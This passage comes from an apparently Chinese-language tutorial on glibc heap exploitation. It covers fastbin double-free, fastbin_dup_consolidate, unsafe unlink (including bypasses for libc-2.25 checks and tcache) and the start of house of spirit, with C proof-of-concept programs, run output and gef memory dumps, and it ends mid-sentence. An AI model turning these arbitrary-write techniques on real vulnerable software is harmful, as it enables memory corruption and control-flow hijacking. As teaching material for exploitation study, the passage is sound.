+0x602060: 0x0000000000000000 0x0000000000020fa1
+0x602070: 0x0000000000000000
+gef➤ p &stack_var
+$4 = (unsigned long long *) 0x7fffffffdc38
+gef➤ x/5gx 0x7fffffffdc38-0x8
+0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk [seems to be freed]
+0x7fffffffdc40: 0x0000000000602010 0x0000000000602010 <-- fd pointer
+0x7fffffffdc50: 0x0000000000602030
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
+
+可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021
+0x602010: 0x4646464646464646 0x0000000000000000
+0x602020: 0x0000000000000000 0x0000000000000021
+0x602030: 0x4545454545454545 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000021
+0x602050: 0x4343434343434343 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000020fa1
+0x602070: 0x0000000000000000
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
+
+再次 malloc,即可在 fake chunk 处分配内存:
+gef➤ x/5gx 0x7fffffffdc38-0x8
+0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk
+0x7fffffffdc40: 0x4747474747474747 0x0000000000602000
+0x7fffffffdc50: 0x0000000000602030
+
+所以对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+ void *p1 = malloc(0x10);
+ void *p2 = malloc(0x10);
+ strcpy(p1, "AAAAAAAA");
+ strcpy(p2, "BBBBBBBB");
+ fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
+
+ fprintf(stderr, "Now free p1!\n");
+ free(p1);
+
+ void *p3 = malloc(0x400);
+ fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
+ fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
+
+ free(p1);
+ fprintf(stderr, "Trigger the double free vulnerability!\n");
+ fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
+
+ void *p4 = malloc(0x10);
+ strcpy(p4, "CCCCCCC");
+ void *p5 = malloc(0x10);
+ strcpy(p5, "DDDDDDDD");
+ fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
+}
+$ gcc -g fastbin_dup_consolidate.c
+$ ./a.out
+Allocated two fastbins: p1=0x17c4010 p2=0x17c4030
+Now free p1!
+Allocated large bin to trigger malloc_consolidate(): p3=0x17c4050
+In malloc_consolidate(), p1 is moved to the unsorted bin.
+Trigger the double free vulnerability!
+We can pass the check in malloc() since p1 is not fast top.
+Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x17c4010 0x17c4010
+
+这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free。
+首先分配两个 fast chunk:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1
+0x602010: 0x4141414141414141 0x0000000000000000
+0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2
+0x602030: 0x4242424242424242 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000
+
+释放掉 p1,则空闲 chunk 加入到 fastbins 中:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed]
+0x602010: 0x0000000000000000 0x0000000000000000
+0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2
+0x602030: 0x4242424242424242 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+
+此时如果我们再次释放 p1,必然触发 double free 异常,然而,如果此时分配一个 large chunk,效果如下:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed]
+0x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer
+0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
+0x602030: 0x4242424242424242 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] 0x00
+gef➤ heap bins small
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x602000, bk=0x602000
+ → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 small non-empty bins.
+
+可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。
+看一下 large chunk 的分配过程:
+ /*
+ If this is a large request, consolidate fastbins before continuing.
+ While it might look excessive to kill all fastbins before
+ even seeing if there is space available, this avoids
+ fragmentation problems normally associated with fastbins.
+ Also, in practice, programs tend to have runs of either small or
+ large requests, but less often mixtures, so consolidation is not
+ invoked all that often in most programs. And the programs that
+ it is called frequently in otherwise tend to fragment.
+ */
+
+ else
+ {
+ idx = largebin_index (nb);
+ if (have_fastchunks (av))
+ malloc_consolidate (av);
+ }
+
+当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。
+由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [double freed]
+0x602010: 0x0000000000000000 0x00007ffff7dd1b88
+0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
+0x602030: 0x4242424242424242 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+gef➤ heap bins small
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x602000, bk=0x602000
+ → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 small non-empty bins.
+
+p1 被再次放入 fastbins,于是 p1 同时存在于 fabins 和 small bins 中。
+第一次 malloc,chunk 将从 fastbins 中取出:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed], chunk p4
+0x602010: 0x0043434343434343 0x00007ffff7dd1b88
+0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
+0x602030: 0x4242424242424242 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] 0x00
+gef➤ heap bins small
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x602000, bk=0x602000
+ → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 small non-empty bins.
+
+第二次 malloc,chunk 从 small bins 中取出:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p4, chunk p5
+0x602010: 0x4444444444444444 0x00007ffff7dd1b00
+0x602020: 0x0000000000000020 0x0000000000000021 <-- chunk p2
+0x602030: 0x4242424242424242 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000
+
+chunk p4 和 p5 在同一位置。
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+
+uint64_t *chunk0_ptr;
+
+int main() {
+ int malloc_size = 0x80; // not fastbins
+ int header_size = 2;
+
+ chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
+ uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
+ fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
+ fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
+
+ // pass this check: (P->fd->bk != P || P->bk->fd != P) == False
+ chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
+ chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
+ fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
+ fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
+ // pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
+ // chunk0_ptr[1] = 0x0; // or 0x8, 0x80
+
+ uint64_t *chunk1_hdr = chunk1_ptr - header_size;
+ chunk1_hdr[0] = malloc_size;
+ chunk1_hdr[1] &= ~1;
+
+ // deal with tcache
+ // int *a[10];
+ // int i;
+ // for (i = 0; i < 7; i++) {
+ // a[i] = malloc(0x80);
+ // }
+ // for (i = 0; i < 7; i++) {
+ // free(a[i]);
+ // }
+ free(chunk1_ptr);
+
+ char victim_string[9];
+ strcpy(victim_string, "AAAAAAAA");
+ chunk0_ptr[3] = (uint64_t) victim_string;
+ fprintf(stderr, "Original value: %s\n", victim_string);
+
+ chunk0_ptr[0] = 0x4242424242424242LL;
+ fprintf(stderr, "New Value: %s\n", victim_string);
+}
+$ gcc -g unsafe_unlink.c
+$ ./a.out
+The global chunk0_ptr is at 0x601070, pointing to 0x721010
+The victim chunk we are going to corrupt is at 0x7210a0
+
+Fake chunk fd: 0x601058
+Fake chunk bk: 0x601060
+
+Original value: AAAAAAAA
+New Value: BBBBBBBB
+
+这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。
+Ubuntu16.04 使用 libc-2.23,其中 unlink 实现的代码如下,其中有一些对前后堆块的检查,也是我们需要绕过的:
+/* Take a chunk off a bin list */
+#define unlink(AV, P, BK, FD) { \
+ FD = P->fd; \
+ BK = P->bk; \
+ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
+ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
+ else { \
+ FD->bk = BK; \
+ BK->fd = FD; \
+ if (!in_smallbin_range (P->size) \
+ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \
+ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
+ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
+ malloc_printerr (check_action, \
+ "corrupted double-linked list (not small)", \
+ P, AV); \
+ if (FD->fd_nextsize == NULL) { \
+ if (P->fd_nextsize == P) \
+ FD->fd_nextsize = FD->bk_nextsize = FD; \
+ else { \
+ FD->fd_nextsize = P->fd_nextsize; \
+ FD->bk_nextsize = P->bk_nextsize; \
+ P->fd_nextsize->bk_nextsize = FD; \
+ P->bk_nextsize->fd_nextsize = FD; \
+ } \
+ } else { \
+ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
+ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
+ } \
+ } \
+ } \
+}
+
+在解链操作之前,针对堆块 P 自身的 fd 和 bk 检查了链表的完整性,即判断堆块 P 的前一块 fd 的指针是否指向 P,以及后一块 bk 的指针是否指向 P。
+malloc_size 设置为 0x80,可以分配 small chunk,然后定义 header_size 为 2。申请两块空间,全局指针 chunk0_ptr
指向 chunk0,局部指针 chunk1_ptr
指向 chunk1:
gef➤ p &chunk0_ptr
+$1 = (uint64_t **) 0x601070 <chunk0_ptr>
+gef➤ x/gx &chunk0_ptr
+0x601070 <chunk0_ptr>: 0x0000000000602010
+gef➤ p &chunk1_ptr
+$2 = (uint64_t **) 0x7fffffffdc60
+gef➤ x/gx &chunk1_ptr
+0x7fffffffdc60: 0x00000000006020a0
+gef➤ x/40gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
+0x602010: 0x0000000000000000 0x0000000000000000
+0x602020: 0x0000000000000000 0x0000000000000000
+0x602030: 0x0000000000000000 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000000
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000 0x0000000000000000
+0x602080: 0x0000000000000000 0x0000000000000000
+0x602090: 0x0000000000000000 0x0000000000000091 <-- chunk 1
+0x6020a0: 0x0000000000000000 0x0000000000000000
+0x6020b0: 0x0000000000000000 0x0000000000000000
+0x6020c0: 0x0000000000000000 0x0000000000000000
+0x6020d0: 0x0000000000000000 0x0000000000000000
+0x6020e0: 0x0000000000000000 0x0000000000000000
+0x6020f0: 0x0000000000000000 0x0000000000000000
+0x602100: 0x0000000000000000 0x0000000000000000
+0x602110: 0x0000000000000000 0x0000000000000000
+0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
+0x602130: 0x0000000000000000 0x0000000000000000
+
+接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False
的检查,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 chunk0_ptr
构造 fake chunk 来绕过它:
gef➤ x/40gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
+0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P
+0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
+0x602030: 0x0000000000000000 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000000
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000 0x0000000000000000
+0x602080: 0x0000000000000000 0x0000000000000000
+0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size
+0x6020a0: 0x0000000000000000 0x0000000000000000
+0x6020b0: 0x0000000000000000 0x0000000000000000
+0x6020c0: 0x0000000000000000 0x0000000000000000
+0x6020d0: 0x0000000000000000 0x0000000000000000
+0x6020e0: 0x0000000000000000 0x0000000000000000
+0x6020f0: 0x0000000000000000 0x0000000000000000
+0x602100: 0x0000000000000000 0x0000000000000000
+0x602110: 0x0000000000000000 0x0000000000000000
+0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
+0x602130: 0x0000000000000000 0x0000000000000000
+gef➤ x/5gx 0x601058
+0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk FD
+0x601068: 0x0000000000000000 0x0000000000602010 <-- bk pointer
+0x601078: 0x0000000000000000
+gef➤ x/5gx 0x601060
+0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk BK
+0x601070: 0x0000000000602010 0x0000000000000000 <-- fd pointer
+0x601080: 0x0000000000000000
+
+可以看到,我们在 chunk0 里构造一个 fake chunk,用 P 表示,两个指针 fd 和 bk 可以构成两条链:P->fd->bk == P
,P->bk->fd == P
,可以绕过检查。另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 prev_size
为 fake chunk 的大小,修改 PREV_INUSE
标志位为 0,将 fake chunk 伪造成一个 free chunk。
接下来就是释放掉 chunk1,这会触发 fake chunk 的 unlink 并覆盖 chunk0_ptr
的值。unlink 操作是这样进行的:
FD = P->fd;
+BK = P->bk;
+FD->bk = BK
+BK->fd = FD
+
+根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:
+FD = P->fd = &P - 24
+BK = P->bk = &P - 16
+FD->bk = *(&P - 24 + 24) = P
+FD->fd = *(&P - 16 + 16) = P
+
+这样就通过了 unlink 的检查,最终效果为:
+FD->bk = P = BK = &P - 16
+BK->fd = P = FD = &P - 24
+
+原本指向堆上 fake chunk 的指针 P 指向了自身地址减 24 的位置,这就意味着如果程序功能允许堆 P 进行写入,就能改写 P 指针自身的地址,从而造成任意内存写入。若允许堆 P 进行读取,则会造成信息泄漏。
+在这个例子中,由于 P->fd->bk 和 P->bk->fd 都指向 P,所以最后的结果为:
+chunk0_ptr = P = P->fd
+
+成功地修改了 chunk0_ptr,这时 chunk0_ptr
和 chunk0_ptr[3]
实际上就是同一东西。这里可能会有疑惑为什么这两个东西是一样的,因为 chunk0_ptr
指针在是放在数据段上的,地址在 0x601070
,指向 0x601058
,而 chunk0_ptr[3]
的意思是从 chunk0_ptr
指向的地方开始数 3 个单位,所以 0x601058+0x08*3=0x601070
:
gef➤ x/40gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
+0x602010: 0x0000000000000000 0x0000000000020ff1 <-- fake chunk P
+0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
+0x602030: 0x0000000000000000 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000000
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000 0x0000000000000000
+0x602080: 0x0000000000000000 0x0000000000000000
+0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 [be freed]
+0x6020a0: 0x0000000000000000 0x0000000000000000
+0x6020b0: 0x0000000000000000 0x0000000000000000
+0x6020c0: 0x0000000000000000 0x0000000000000000
+0x6020d0: 0x0000000000000000 0x0000000000000000
+0x6020e0: 0x0000000000000000 0x0000000000000000
+0x6020f0: 0x0000000000000000 0x0000000000000000
+0x602100: 0x0000000000000000 0x0000000000000000
+0x602110: 0x0000000000000000 0x0000000000000000
+0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
+0x602130: 0x0000000000000000 0x0000000000000000
+gef➤ x/5gx 0x601058
+0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk FD
+0x601068: 0x0000000000000000 0x0000000000601058 <-- bk pointer
+0x601078: 0x0000000000000000
+gef➤ x/5gx 0x601060
+0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk BK
+0x601070: 0x0000000000601058 0x0000000000000000 <-- fd pointer
+0x601080: 0x0000000000000000
+gef➤ x/gx chunk0_ptr
+0x601058: 0x0000000000000000
+gef➤ x/gx chunk0_ptr[3]
+0x601058: 0x0000000000000000
+
+所以,修改 chunk0_ptr[3]
就等于修改 chunk0_ptr
:
gef➤ x/5gx 0x601058
+0x601058: 0x0000000000000000 0x00007ffff7dd2540
+0x601068: 0x0000000000000000 0x00007fffffffdc70 <-- chunk0_ptr[3]
+0x601078: 0x0000000000000000
+gef➤ x/gx chunk0_ptr
+0x7fffffffdc70: 0x4141414141414141
+
+这时 chunk0_ptr
就指向了 victim_string,修改它:
gef➤ x/gx chunk0_ptr
+0x7fffffffdc70: 0x4242424242424242
+
+成功达成修改任意地址的成就。
+最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 chunk_size == next->prev->chunk_size
的检查,以对抗单字节溢出的问题。补丁如下:
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
+commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
+Author: DJ Delorie <dj@delorie.com>
+Date: Fri Mar 17 15:31:38 2017 -0400
+
+ Further harden glibc malloc metadata against 1-byte overflows.
+
+ Additional check for chunk_size == next->prev->chunk_size in unlink()
+
+ 2017-03-17 Chris Evans <scarybeasts@gmail.com>
+
+ * malloc/malloc.c (unlink): Add consistency check between size and
+ next->prev->size, to further harden against 1-byte overflows.
+
+diff --git a/malloc/malloc.c b/malloc/malloc.c
+index e29105c372..994a23248e 100644
+--- a/malloc/malloc.c
++++ b/malloc/malloc.c
+@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;
+
+ /* Take a chunk off a bin list */
+ #define unlink(AV, P, BK, FD) { \
++ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
++ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
+ FD = P->fd; \
+ BK = P->bk; \
+ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
+
+具体是这样的:
+/* Ptr to next physical malloc_chunk. */
+#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
+/* Get size, ignoring use bits */
+#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
+/* Like chunksize, but do not mask SIZE_BITS. */
+#define chunksize_nomask(p) ((p)->mchunk_size)
+/* Size of the chunk below P. Only valid if prev_inuse (P). */
+#define prev_size(p) ((p)->mchunk_prev_size)
+/* Bits to mask off when extracting size */
+#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+
+回顾一下伪造出来的堆:
+gef➤ x/40gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
+0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P
+0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
+0x602030: 0x0000000000000000 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000000
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000 0x0000000000000000
+0x602080: 0x0000000000000000 0x0000000000000000
+0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size
+0x6020a0: 0x0000000000000000 0x0000000000000000
+0x6020b0: 0x0000000000000000 0x0000000000000000
+0x6020c0: 0x0000000000000000 0x0000000000000000
+0x6020d0: 0x0000000000000000 0x0000000000000000
+0x6020e0: 0x0000000000000000 0x0000000000000000
+0x6020f0: 0x0000000000000000 0x0000000000000000
+0x602100: 0x0000000000000000 0x0000000000000000
+0x602110: 0x0000000000000000 0x0000000000000000
+0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
+0x602130: 0x0000000000000000 0x0000000000000000
+
+这里有三种办法可以绕过该检查:
+什么都不做。
+chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0
设置
+chunk0_ptr[1] = 0x8
。
+chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x8
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8
设置
+chunk0_ptr[1] = 0x80
。
+chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x80
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80
好的,现在 libc-2.25 版本下我们也能成功利用了。接下来更近一步,libc-2.26 怎么利用,首先当然要先知道它新增了哪些漏洞缓解措施,其中一个神奇的东西叫做 tcache,这是一种线程缓存机制,每个线程默认情况下有 64 个大小递增的 bins,每个 bin 是一个单链表,默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的,所以在释放 chunk 1 的时候,chunk0_ptr
仍然指向正确的堆地址,而不是之前的 chunk0_ptr = P = P->fd
。为了解决这个问题,一种可能的办法是给填充进特定大小的 chunk 把 bin 占满,就像下面这样:
// deal with tcache
+ int *a[10];
+ int i;
+ for (i = 0; i < 7; i++) {
+ a[i] = malloc(0x80);
+ }
+ for (i = 0; i < 7; i++) {
+ free(a[i]);
+ }
+gef➤ p &chunk0_ptr
+$2 = (uint64_t **) 0x555555755070 <chunk0_ptr>
+gef➤ x/gx 0x555555755070
+0x555555755070 <chunk0_ptr>: 0x00007fffffffdd0f
+gef➤ x/gx 0x00007fffffffdd0f
+0x7fffffffdd0f: 0x4242424242424242
+
+现在 libc-2.26 版本下也成功利用了。tcache 是个很有趣的东西,更详细的内容我们会在专门的章节里去讲。
+加上内存检测参数重新编译,可以看到 heap-buffer-overflow:
+$ gcc -fsanitize=address -g unsafe_unlink.c
+$ ./a.out
+The global chunk0_ptr is at 0x602230, pointing to 0x60c00000bf80
+The victim chunk we are going to corrupt is at 0x60c00000bec0
+
+Fake chunk fd: 0x602218
+Fake chunk bk: 0x602220
+
+=================================================================
+==5591==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000beb0 at pc 0x000000400d74 bp 0x7ffd06423730 sp 0x7ffd06423720
+WRITE of size 8 at 0x60c00000beb0 thread T0
+ #0 0x400d73 in main /home/firmy/how2heap/unsafe_unlink.c:26
+ #1 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+ #2 0x400968 in _start (/home/firmy/how2heap/a.out+0x400968)
+
+0x60c00000beb0 is located 16 bytes to the left of 128-byte region [0x60c00000bec0,0x60c00000bf40)
+allocated by thread T0 here:
+ #0 0x7fc9261c4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
+ #1 0x400b12 in main /home/firmy/how2heap/unsafe_unlink.c:13
+ #2 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+ malloc(1);
+
+ fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
+ unsigned long long *a, *b;
+ unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
+
+ fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
+ fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
+
+ fake_chunks[1] = 0x20; // the size
+ fake_chunks[5] = 0x1234; // nextsize
+
+ fake_chunks[2] = 0x4141414141414141LL;
+ fake_chunks[6] = 0x4141414141414141LL;
+
+ fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
+ a = &fake_chunks[2];
+
+ fprintf(stderr, "Freeing the overwritten pointer.\n");
+ free(a);
+
+ fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
+ b = malloc(0x10);
+ fprintf(stderr, "malloc(0x10): %p\n", b);
+ b[0] = 0x4242424242424242LL;
+}
+$ gcc -g house_of_spirit.c
+$ ./a.out
+We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
+The first one: 0x7ffc782dae00
+The second one: 0x7ffc782dae20
+Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00.
+Freeing the overwritten pointer.
+Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10!
+malloc(0x10): 0x7ffc782dae10
+
+house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。house-of-spirit 是一种通过堆的 fast bin 机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制 EIP 来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被 free 的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个 fast bin 块的元数据,接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。
+首先 malloc(1) 用于初始化内存环境,然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的,需要一个传递给 free 函数的可以被修改的指针,无论是通过栈溢出还是其它什么方式:
+gef➤ x/10gx &fake_chunks
+0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1
+0x7fffffffdcc0: 0x4141414141414141 0x0000000000000000
+0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
+0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
+gef➤ x/gx &a
+0x7fffffffdca0: 0x0000000000000000
+
+伪造 chunk 时需要绕过一些检查,首先是标志位,PREV_INUSE
位并不影响 free 的过程,但 IS_MMAPPED
